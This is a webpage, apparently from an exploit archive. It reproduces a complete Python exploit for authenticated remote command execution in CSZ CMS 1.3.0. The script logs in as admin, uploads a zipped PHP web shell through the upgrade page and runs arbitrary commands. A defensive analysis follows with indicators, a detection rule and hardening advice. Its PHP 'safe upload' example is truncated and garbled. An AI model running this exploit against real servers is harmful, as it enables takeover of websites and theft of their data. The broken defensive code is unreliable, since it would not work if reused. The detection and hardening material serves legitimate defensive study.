CSZ CMS Version 1.3.0 - Authenticated Remote Command Execution

Exploit Author: tmrswrr Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2024-03-06
# Exploit Title: CSZ CMS Version 1.3.0 Remote Command Execution
# Date: 17/11/2023
# Exploit Author: tmrswrr
# Vendor Homepage: https://www.cszcms.com/
# Software Link: https://www.cszcms.com/link/3#https://sourceforge.net/projects/cszcms/files/latest/download
# Version: Version 1.3.0
# Tested on: https://www.softaculous.com/apps/cms/CSZ_CMS


import os
import zipfile
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.firefox.options import Options as FirefoxOptions
from selenium.webdriver.firefox.service import Service as FirefoxService
from webdriver_manager.firefox import GeckoDriverManager
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import NoSuchElementException, TimeoutException
import requests
from time import sleep
import sys
import random
import time
import platform
import tarfile
from io import BytesIO

email = "admin@admin.com" 
password = "password"

class colors:
    OKBLUE = '\033[94m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'
    CBLACK = '\33[30m'
    CRED = '\33[31m'
    CGREEN = '\33[32m'
    CYELLOW = '\33[33m'
    CBLUE = '\33[34m'
    CVIOLET = '\33[35m'
    CBEIGE = '\33[36m'
    CWHITE = '\33[37m'


color_random = [colors.CBLUE, colors.CVIOLET, colors.CWHITE, colors.OKBLUE, colors.CGREEN, colors.WARNING,
                colors.CRED, colors.CBEIGE]
random.shuffle(color_random)


def entryy():
    x = color_random[0] + """

╭━━━┳━━━┳━━━━╮╭━━━┳━╮╭━┳━━━╮╭━━━┳━━━┳━━━╮╭━━━┳━╮╭━┳━━━┳╮╱╱╭━━━┳━━┳━━━━╮
┃╭━╮┃╭━╮┣━━╮━┃┃╭━╮┃┃╰╯┃┃╭━╮┃┃╭━╮┃╭━╮┃╭━━╯┃╭━━┻╮╰╯╭┫╭━╮┃┃╱╱┃╭━╮┣┫┣┫╭╮╭╮┃
┃┃╱╰┫╰━━╮╱╭╯╭╯┃┃╱╰┫╭╮╭╮┃╰━━╮┃╰━╯┃┃╱╰┫╰━━╮┃╰━━╮╰╮╭╯┃╰━╯┃┃╱╱┃┃╱┃┃┃┃╰╯┃┃╰╯
┃┃╱╭╋━━╮┃╭╯╭╯╱┃┃╱╭┫┃┃┃┃┣━━╮┃┃╭╮╭┫┃╱╭┫╭━━╯┃╭━━╯╭╯╰╮┃╭━━┫┃╱╭┫┃╱┃┃┃┃╱╱┃┃
┃╰━╯┃╰━╯┣╯━╰━╮┃╰━╯┃┃┃┃┃┃╰━╯┃┃┃┃╰┫╰━╯┃╰━━╮┃╰━━┳╯╭╮╰┫┃╱╱┃╰━╯┃╰━╯┣┫┣╮╱┃┃
╰━━━┻━━━┻━━━━╯╰━━━┻╯╰╯╰┻━━━╯╰╯╰━┻━━━┻━━━╯╰━━━┻━╯╰━┻╯╱╱╰━━━┻━━━┻━━╯╱╰╯

                <<   CSZ CMS Version 1.3.0 RCE     >>
                <<      CODED BY TMRSWRR           >>
                <<     GITHUB==>capture0x          >>

\n"""
    for c in x:
        print(c, end='')
        sys.stdout.flush()
        sleep(0.0045)
    oo = " " * 6 + 29 * "░⣿" + "\n\n"
    for c in oo:
        print(colors.CGREEN + c, end='')
        sys.stdout.flush()
        sleep(0.0065)

    tt = " " * 5 + "░⣿" + " " * 6 + "WELCOME TO CSZ CMS Version 1.3.0 RCE Exploit" + " " * 7 + "░⣿" + "\n\n"
    for c in tt:
        print(colors.CWHITE + c, end='')
        sys.stdout.flush()
        sleep(0.0065)
    xx = " " * 6 + 29 * "░⣿" + "\n\n"
    for c in xx:
        print(colors.CGREEN + c, end='')
        sys.stdout.flush()
        sleep(0.0065)

def check_geckodriver():
    current_directory = os.path.dirname(os.path.abspath(__file__))
    geckodriver_path = os.path.join(current_directory, 'geckodriver')

    if not os.path.isfile(geckodriver_path):
        red = "\033[91m"
        reset = "\033[0m"
        print(red + "\n\nGeckoDriver (geckodriver) is not available in the script's directory." + reset)
        user_input = input("Would you like to download it now? (yes/no): ").lower()
        if user_input == 'yes':
            download_geckodriver(current_directory)
        else:
            print(red + "Please download GeckoDriver manually from: https://github.com/mozilla/geckodriver/releases" + reset)
            sys.exit(1)

def download_geckodriver(directory):

    print("[*] Detecting OS and architecture...")
    os_name = platform.system().lower()
    arch, _ = platform.architecture()

    if os_name == "linux":
        os_name = "linux"
        arch = "64" if arch == "64bit" else "32"
    elif os_name == "darwin":
        os_name = "macos"
        arch = "aarch64" if platform.processor() == "arm" else ""
    elif os_name == "windows":
        os_name = "win"
        arch = "64" if arch == "64bit" else "32"
    else:
        print("[!] Unsupported operating system.")
        sys.exit(1)

    geckodriver_version = "v0.33.0"
    geckodriver_file = f"geckodriver-{geckodriver_version}-{os_name}{arch}"
    ext = "zip" if os_name == "win" else "tar.gz"
    url = f"https://github.com/mozilla/geckodriver/releases/download/{geckodriver_version}/{geckodriver_file}.{ext}"

    print(f"[*] Downloading GeckoDriver for {platform.system()} {arch}-bit...")
    response = requests.get(url, stream=True)

    if response.status_code == 200:
        print("[*] Extracting GeckoDriver...")
        if ext == "tar.gz":
            with tarfile.open(fileobj=BytesIO(response.content), mode="r:gz") as tar:
                tar.extractall(path=directory)
        else:   
            with zipfile.ZipFile(BytesIO(response.content)) as zip_ref:
                zip_ref.extractall(directory)
        print("[+] GeckoDriver downloaded and extracted successfully.")
    else:
        print("[!] Failed to download GeckoDriver.")
        sys.exit(1)
        
def create_zip_file(php_filename, zip_filename, php_code):
    try:
        with open(php_filename, 'w') as file:
            file.write(php_code)
        with zipfile.ZipFile(zip_filename, 'w') as zipf:
            zipf.write(php_filename)
        print("[+] Zip file created successfully.")
        os.remove(php_filename)
        return zip_filename
    except Exception as e:
        print(f"[!] Error creating zip file: {e}")
        sys.exit(1)


def main(base_url, command):

    if not base_url.endswith('/'):
        base_url += '/'
        
    zip_filename = None   

    check_geckodriver()
    try:
        firefox_options = FirefoxOptions()
        firefox_options.add_argument("--headless")

        script_directory = os.path.dirname(os.path.abspath(__file__))
        geckodriver_path = os.path.join(script_directory, 'geckodriver')
        service = FirefoxService(executable_path=geckodriver_path)
        driver = webdriver.Firefox(service=service, options=firefox_options)
        print("[*] Exploit initiated.")

        # Login
        driver.get(base_url + "admin/login")
        print("[*] Accessing login page...")
        driver.find_element(By.NAME, "email").send_keys(f"{email}")
        driver.find_element(By.NAME, "password").send_keys(f"{password}")
        driver.find_element(By.ID, "login_submit").click()
        print("[*] Credentials submitted...")

 
        try:
            error_message = driver.find_element(By.XPATH, "//*[contains(text(), 'Email address/Password is incorrect')]")
            if error_message.is_displayed():
                print("[!] Login failed: Invalid credentials.")
                driver.quit()
                sys.exit(1)
        except NoSuchElementException:
            print("[+] Login successful.")

        # File creation  
        print("[*] Preparing exploit files...")
        php_code = f"<?php echo system('{command}'); ?>"
        zip_filename = create_zip_file("exploit.php", "payload.zip", php_code)

 
        driver.get(base_url + "admin/upgrade")
        print("[*] Uploading exploit payload...")
        file_input = driver.find_element(By.ID, "file_upload")
        file_input.send_keys(os.path.join(os.getcwd(), zip_filename))

  # Uploading
        driver.find_element(By.ID, "submit").click()
        WebDriverWait(driver, 10).until(EC.alert_is_present())
        alert = driver.switch_to.alert
        alert.accept()

        # Exploit result 
        exploit_url = base_url + "exploit.php"
        response = requests.get(exploit_url)
        print(f"[+] Exploit response:\n\n{response.text}")

    except Exception as e:
        print(f"[!] Error: {e}")
    finally:
        driver.quit()
        if zip_filename and os.path.exists(zip_filename):
            os.remove(zip_filename)

if __name__ == "__main__":
    entryy()
    if len(sys.argv) < 3:
        print("Usage: python script.py [BASE_URL] [COMMAND]")
    else:
        main(sys.argv[1], sys.argv[2])


CSZ CMS 1.3.0 — Understanding the Authenticated Remote Command Execution (RCE) Risk

CSZ CMS version 1.3.0 has been reported to contain a vulnerability class often described as an authenticated Remote Command Execution (RCE). This type of weakness typically requires valid administrative credentials to reach a web-assisted code- or file-upload pathway that ultimately allows an attacker to place executable code (e.g., PHP) into the application’s web root or otherwise invoke system commands.

High-level summary

  • The vulnerability is an authenticated RCE: the attacker needs valid admin credentials or a compromised admin session to trigger it.
  • Root cause patterns include insecure file upload processing, unsafe archive extraction (zip handling), lack of server-side file-type / content validation, and permissive file permissions that permit execution of uploaded files.
  • Impact is severe: once an attacker can place or execute server-side code they can run arbitrary commands, escalate privileges, pivot, exfiltrate data, or establish persistence.

Why this matters

Authenticated RCEs are particularly dangerous because they combine a common web administration feature (uploading themes, plugins, or update packages) with insufficient sanitization. Organizations treating admin access as the only barrier (without authentication hygiene, MFA, and monitoring) are at risk.

How this class of vulnerability typically works (high level, non-actionable)

At a conceptual level the attack chain usually follows these stages:

  • Authenticate as an admin or compromise an admin session.
  • Use an upload/upgrade feature to submit an archive that contains a server-side script (for example, a PHP file) or that exploits unsafe extraction to place files outside intended directories.
  • Trigger access to the uploaded file (via a predictable URL) or rely on the application to auto-install components, which results in the server executing attacker-supplied code.

Defensive analysis: detection, indicators, and monitoring

Important indicators of compromise (IOCs)

Indicator Why it matters
POST requests to administrative upload endpoints (e.g., /admin/upgrade) Upload attempts that include archive content or large form-data fields may indicate malicious package upload.
Creation/modification of unexpected .php, .phtml, .php5 files in web directories New server-side files in public webroot are strong signs of webshells or dropped payloads.
Unusual process execution or outgoing network connections initiated by webserver user Suggests an attacker executing commands or exfiltrating data.
Authentication anomalies for admin accounts (logins from new IPs, rapid re-auths) Possible session compromise or credential misuse.

Example detection rules (defensive, generic)

Below are non-executable, illustrative examples of detection logic. These are intended for defenders to tune in IDS/IPS/HTTP logs. They intentionally avoid instructing exploitation and instead focus on monitoring suspicious upload patterns.


# Suricata/IDS-style illustrative rule (high level)
alert http any any -> any any (msg:"Possible admin-zip upload to upgrade endpoint"; http.method; content:"POST"; http.uri; content:"/admin/upgrade"; content:"multipart/form-data"; file_data; content:".zip"; sid:1000001; rev:1;)

Explanation: This sample rule flags HTTP POSTs to an administrative endpoint that include multipart form data with zipped content. It is a detection heuristic and should be refined for your environment to reduce false positives.

Immediate mitigation and hardening recommendations

If you operate CSZ CMS (or any application with admin upload features), prioritize the following steps:

  • Patch: Apply vendor-supplied security updates. If a specific patch is available, deploy it promptly.
  • Restrict admin access: Use VPNs, IP allowlists, or strong MFA for administrative interfaces; limit exposure to the internet.
  • Harden file uploads: Implement server-side validation (whitelisting), store uploads outside the webroot, and deny execution in upload directories.
  • Principle of least privilege: Ensure the webserver user cannot write to executable directories and that uploaded files cannot be interpreted as code.
  • Monitor and alert: Create detection rules for admin uploads and file creation/modifications and integrate these with your SIEM.

Server-side hardening: safe upload & extraction patterns (defensive PHP example)

The example below demonstrates defensive file handling patterns: strict extension checks, storing files outside the web root, and safe zip extraction that prevents directory traversal (zip-slip). This code is intended as a secure pattern — do not modify it to write or execute arbitrary code.


open($target) === TRUE) {
        for ($i = 0; $i numFiles; $i++) {
            $entry = $zip->getNameIndex($i);
            // Normalize and prevent directory traversal (zip slip)
            $entry_basename = basename($entry);
            $extract_to = $upload_dir . 'extracted/' . $entry_basename;
            // Ensure destination dir exists and is non-executable via server config
            $zip->extractTo(dirname($extract_to), $entry);
        }
        $zip->close();
    } else {
        // handle invalid zip
    }
}
?>

Explanation: This code demonstrates a defensive approach. It (1) enforces a whitelist of permitted extensions, (2) places uploaded files outside the webroot so they cannot be directly executed by HTTP requests, (3) randomizes filenames to prevent predictable paths, and (4) extracts zip entries in a way that avoids directory traversal by using basename() and controlled extraction directories. Additionally, the extraction target should be configured so that the webserver does not execute scripts from that directory (for example, via server configuration or .htaccess).

Remediation checklist for administrators

  • Apply official vendor updates; consult CSZ CMS release notes and security advisories.
  • Rotate administrative credentials and revoke sessions if compromise is suspected.
  • Scan the webroot and repository for unexpected PHP/webshell files and revert to known-good backups.
  • Harden file permissions: webserver processes should not run as administrative users and should have minimal write access.
  • Set up endpoint/host-based monitoring for processes spawned by the webserver user and unusual network activity.
  • Review and restrict plugins/extensions with high privilege levels; disable unused modules.

Incident response and disclosure best practices

  • Contain: immediately restrict admin access and isolate affected hosts.
  • Preserve evidence: collect logs, memory snapshots, and copies of suspicious files for analysis.
  • Eradicate: remove webshells and backdoors; restore clean code from trusted sources.
  • Recover: patch, validate integrity, and restore services incrementally while monitoring for re-infection.
  • Disclose responsibly: coordinate with the vendor and follow a disclosure timeline; if the issue is already public, communicate mitigations to your stakeholders.

Summary and expert recommendations

Authenticated RCEs—though requiring credentials—are high-impact vulnerabilities because they allow adversaries who obtain or abuse admin access to execute arbitrary server-side code. Defenders should prioritize patching, strengthen admin authentication (MFA, IP restrictions), and harden upload and extraction logic so uploaded data cannot become executable content.

Invest in layered detection (web logs, host-based monitoring, and network telemetry), and apply the principle of least privilege for processes and file-system permissions. For developers, follow secure file-handling patterns: whitelist file types, store uploads outside the webroot, validate and sanitize filenames, and prevent zip-slip attacks during archive extraction.